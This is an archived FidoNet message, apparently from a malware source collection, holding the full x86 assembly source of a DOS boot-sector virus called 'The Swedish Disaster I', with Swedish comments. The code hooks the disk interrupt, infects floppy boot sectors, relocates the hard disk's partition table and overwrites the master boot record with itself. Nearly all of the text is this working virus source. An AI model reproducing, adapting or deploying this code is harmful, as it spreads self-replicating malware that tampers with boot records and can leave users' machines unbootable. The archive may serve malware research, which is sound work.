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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir21.asm

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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 11 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : SWEDISH.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Daniel Hendry, 2:283/718 (06 Nov 94 16:28)
;* To : Brad Frazee
;* Subj : SWEDISH.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Daniel.Hendry@f718.n283.z2.fidonet.org
;;
; L<>gger gamla bootsectorn p<> sida 1, sp<73>r 0, sector 3.
; sida 0, sp<73>r 0, sector 7 p<> HD.
Code Segment
Assume cs:Code
Org 0000h
Main Proc Far
db 0EAh,05h,00h,0C0h,07h
jmp Near Ptr Init ; Hoppa f<>rbi variabler och nya int13h
; Variabler
Old13h dd 0 ; Gamla vectorn till diskfunktionerna.
TmpVec dd 0 ; Tempor<6F>r vec. vid <20>ndring av int 13.
BootPek dw 0003h,0100h
; Slut p<> variabler
Int13h Proc Near
push ds
push ax
push bx
cmp dl,00h ; Drive A
jne Exit
cmp ah,02h
jb Exit
cmp ah,04h
ja Exit ; Kolla s<> att func. 2-4
sub ax,ax
mov ds,ax
mov bx,043Fh ; Motor status byte.
test Byte Ptr [bx],01h ; Testa om motorn i A: <20>r p<>..
jnz Exit ; Nej,hoppa till gamla int 13h
call Smitta
Exit: pop bx
pop ax
pop ds
jmp [Old13h]
Smitta Proc Near
push cx
push dx
push si
push di
push es
push cs
pop es
push cs
pop ds
mov si,0004h ; Max antal f<>rs<72>k.
Retry: mov ax,0201h ; L<>s en sector
mov bx,0200h ; L<>s hit.
mov cx,0001h ; Sp<53>r 0 Sector 1
sub dx,dx ; Sida 0 Drive 0
pushf
call [Old13h] ; L<>s in booten.
jnc OK
dec si
jz Slut ; Hoppa ur om fel.
jmp Retry ; F<>rs<72>k max 4 g<>nger.
OK: mov si,0200h
sub di,di
cld
lodsw
cmp ax,[di]
jne L2
lodsw
cmp ax,[di+2]
jne L2
jmp Slut
L2: mov ax,0301h ; Skriv en sector.
mov bx,0200h
mov cx,0003h ; Sp<53>r 0 Sector 3
mov dx,0100h ; Sida 1 Drive 0
pushf
call [Old13h] ; Flytta boot sectorn.
mov ax,0301h
sub bx,bx
mov cx,0001h
sub dx,dx
pushf
call [Old13h] ; Skriv ner viruset till booten.
Slut: pop es
pop di
pop si
pop dx
pop cx
ret
Smitta Endp
Int13h Endp
Init: sub ax,ax
mov ds,ax ; Nollar ds f<>r att <20>ndra vect.
cli
mov ss,ax
mov sp,7C00h
sti ; S<>tter upp en ny stack.
push cs
pop es
mov di,Offset Old13h
mov si,004Ch
mov cx,0004h
cld
rep movsb ; Flytta int 13h vectorn.
mov bx,0413h
mov ax,[bx] ; Minnesstorleken till ax.
dec ax
dec ax
mov [bx],ax ; Reservera plats f<>r viruset.
mov cl,06h
shl ax,cl
mov es,ax ; Omvandla till segment addres.
mov Word Ptr TmpVec,Offset Int13h
mov Word Ptr TmpVec+2,es
push es
sub ax,ax
mov es,ax
push cs
pop ds
mov si,Offset TmpVec
mov di,004Ch
mov cx,0004h
rep movsb
pop es
sub si,si
mov di,si
mov cx,0200h ; Hela viruset + lite till.
rep movsb
mov ax,Offset Here
push es
push ax
ret ; Hoppa till viruset.
Here: sub ax,ax
int 13h ; <20>terst<73>ll driven
sub ax,ax
mov es,ax
mov ax,0201h ; L<>s en sector funk.
mov bx,7C00h ; Hit laddas booten normalt.
mov cx,BootPek
mov dx,BootPek+2
int 13h
push cs
pop es
mov ax,0201h
mov bx,0200h
mov cx,0001h
mov dx,0080h
int 13h ; L<>s in partions tabellen.
jc Over
push cs
pop ds
mov si,0200h
sub di,di
lodsw
cmp ax,[di] ; Kolla om den <20>r smittad.
jne HdInf
lodsw
cmp ax,[di+2]
jne HdInf
Over: mov BootPek,0003h
mov BootPek+2,0100h
sub bx,bx
push bx
mov bx,7C00h
push bx
ret ; K<>r den gamla booten.
HdInf: mov BootPek,0007h
mov BootPek+2,0080h
mov ax,0301h
mov bx,0200h
mov cx,0007h
mov dx,0080h
int 13h ; Flytta orgin. part.tabellen.
jc Over
push cs
pop ds
push cs
pop es
mov si,03BEh
mov di,01BEh
mov cx,0042h
cld
rep movsb ; Kopiera part. data till viruset.
mov ax,0301h
sub bx,bx
mov cx,0001h
mov dx,0080h
int 13h ; Skriv viruset till part. tabellen.
sub ax,ax
mov es,ax ; Kolla om msg:et ska skrivas ut.
test Byte Ptr es:[046Ch],07h
jnz HdInf1
mov si,Offset Txt ; Detta utf<74>rs bara om man bootar fr<66>n
cld ; diskett.
Foo1: lodsb
cmp al,00h
je HdInf1
mov ah,0Eh
sub bx,bx
int 10h
jmp Foo1
HdInf1: jmp Over
Slutet Label Byte ; Anv<6E>nds f<>r att veta var slutet <20>r.
Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h
Main Endp
Code Ends
End
;-+- GEcho 1.00
; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/3 Enable 32-bit processing
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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